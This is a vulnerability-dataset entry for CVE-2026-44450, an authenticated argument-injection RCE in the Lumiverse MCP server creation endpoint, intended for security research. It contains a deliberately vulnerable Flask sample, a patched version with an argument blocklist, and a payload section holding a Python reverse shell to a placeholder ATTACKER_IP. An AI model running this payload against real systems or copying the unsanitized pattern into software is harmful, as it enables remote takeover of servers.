CVE-2026-44450
Lumiverse allows authenticated RCE via unsanitized server creation arguments.
- CVSS 9.9
- CWE-88
- Input Validation and Sanitization
- Remote
Lumiverse is a full-featured AI chat application. Prior to 0.9.7, the MCP server creation endpoint validates the command field against an allowlist of binary names but forwards the args array to the child process without any validation. Every binary on the allowlist accepts an inline-code execution flag (-e for node/bun, -c for python3/deno), giving any logged-in user arbitrary OS-level code execution on the Lumiverse server. The route requires only requireAuth (not requireOwner). The server binds on all interfaces (::) and the host-header rebinding check is bypassed trivially by any HTTP client that sends Host: localhost:<port> directly, making this exploitable from any machine with network access to the server port. This vulnerability is fixed in 0.9.7.
- CWE
- CWE-88
- CVSS base score
- 9.9
- Published
- 2026-05-26
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Lumiverse
Solution
Upgrade to Lumiverse version 0.9.7.
Vulnerable code sample
import subprocess
from flask import Flask, request, jsonify
from functools import wraps
# This is a simplified representation of the vulnerable application structure.
# WARNING: This code is intentionally vulnerable for demonstration purposes.
# Do NOT use this in a production environment.
app = Flask(__name__)
# The allowlist of binaries as described in the CVE.
ALLOWED_COMMANDS = ['python3', 'node', 'deno', 'bun']
# A mock authentication decorator. The CVE states only 'requireAuth' is needed,
# meaning any authenticated user can exploit this, not just an owner/admin.
def require_auth(f):
@wraps(f)
def decorated_function(*args, **kwargs):
# In a real app, this would validate a JWT or session cookie.
# For this example, we just check for a header's existence.
if 'Authorization' not in request.headers:
return jsonify({"error": "Authentication required"}), 401
return f(*args, **kwargs)
return decorated_function
# The vulnerable MCP server creation endpoint.
@app.route('/api/mcp/create_server', methods=['POST'])
@require_auth
def create_mcp_server():
"""
Vulnerable endpoint that allows arbitrary code execution.
- It validates the 'command' field against an allowlist.
- It FAILS to validate the 'args' field, passing them directly to subprocess.
"""
try:
data = request.get_json()
if not data or 'command' not in data or not isinstance(data.get('args'), list):
return jsonify({"error": "Invalid request body. 'command' and 'args' (list) are required."}), 400
command = data.get('command')
args = data.get('args')
# Part 1: The command is validated against the allowlist. This provides a false sense of security.
if command not in ALLOWED_COMMANDS:
return jsonify({"error": f"Command '{command}' is not in the allowlist."}), 403
# Part 2: THE VULNERABILITY
# The 'args' array is passed directly to the child process without any sanitization or validation.
# An attacker can provide an inline code execution flag (e.g., -c for python3, -e for node)
# followed by malicious code.
# Malicious payload example:
# {
# "command": "python3",
# "args": ["-c", "import os; os.system('touch /tmp/pwned_by_cve')"]
# }
full_command_list = [command] + args
# The command and its unsanitized arguments are executed.
process = subprocess.Popen(full_command_list, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
return jsonify({
"status": "success",
"message": f"Server process for '{command}' started.",
"pid": process.pid
}), 201
except Exception as e:
return jsonify({"error": "An internal error occurred", "details": str(e)}), 500
if __name__ == '__main__':
# Binds on all interfaces ('::' or '0.0.0.0'), making it network-accessible as described.
app.run(host='0.0.0.0', port=8080)Patched code sample
import subprocess
# A list of allowed binaries, as described in the CVE.
ALLOWED_COMMANDS = ["python3", "node", "deno", "bun"]
# THE FIX: A blocklist of arguments that allow for inline code execution.
# The original vulnerable code was missing this validation.
BLOCKED_ARGS = ["-c", "-e", "--eval"]
def create_mcp_server_fixed(command: str, args: list[str]):
"""
Simulates the fixed server creation endpoint.
This version validates both the command and its arguments to prevent
the injection of code execution flags.
"""
# 1. Validate the command against the allowlist (this was already present).
if command not in ALLOWED_COMMANDS:
raise ValueError(f"Command '{command}' is not in the allowlist.")
# 2. FIX: Validate the arguments against the blocklist.
# This crucial step prevents passing flags like '-c' or '-e'.
for arg in args:
if arg in BLOCKED_ARGS:
raise ValueError(f"Disallowed argument '{arg}' was found.")
# 3. If all checks pass, proceed to execute the command.
try:
# In a real application, this would likely use subprocess.Popen to manage
# the child process lifecycle. subprocess.run is used for simplicity.
full_command = [command] + args
print(f"Safely executing: {' '.join(full_command)}")
# Example benign execution: subprocess.run(["python3", "my_safe_script.py", "--port", "8000"])
# The line below is commented out to prevent actual execution in this example.
# subprocess.run(full_command, check=True)
except FileNotFoundError:
raise RuntimeError(f"The command '{command}' was not found on the system.")
# --- Demonstration of the fix ---
# Example of a malicious payload that would have worked before the fix.
# This call will now raise a ValueError because '-c' is in BLOCKED_ARGS.
malicious_command = "python3"
malicious_args = ["-c", "import os; os.system('echo Vulnerable Execution')"]
try:
print("Attempting to execute with malicious arguments...")
create_mcp_server_fixed(malicious_command, malicious_args)
except ValueError as e:
print(f"FIX APPLIED: Execution blocked. Reason: {e}")
print("-" * 20)
# Example of a legitimate payload that is still allowed.
benign_command = "python3"
benign_args = ["/path/to/user_script.py", "--port", "8080"]
try:
print("Attempting to execute with benign arguments...")
create_mcp_server_fixed(benign_command, benign_args)
print("SUCCESS: Benign command would be executed.")
except ValueError as e:
print(f"ERROR: Benign command was unexpectedly blocked: {e}")Payload
{
"command": "python3",
"args": [
"-c",
"import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP', 4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/sh')"
]
}
Cite this entry
@misc{vaitp:cve202644450,
title = {{Lumiverse allows authenticated RCE via unsanitized server creation arguments.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-44450},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-44450/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
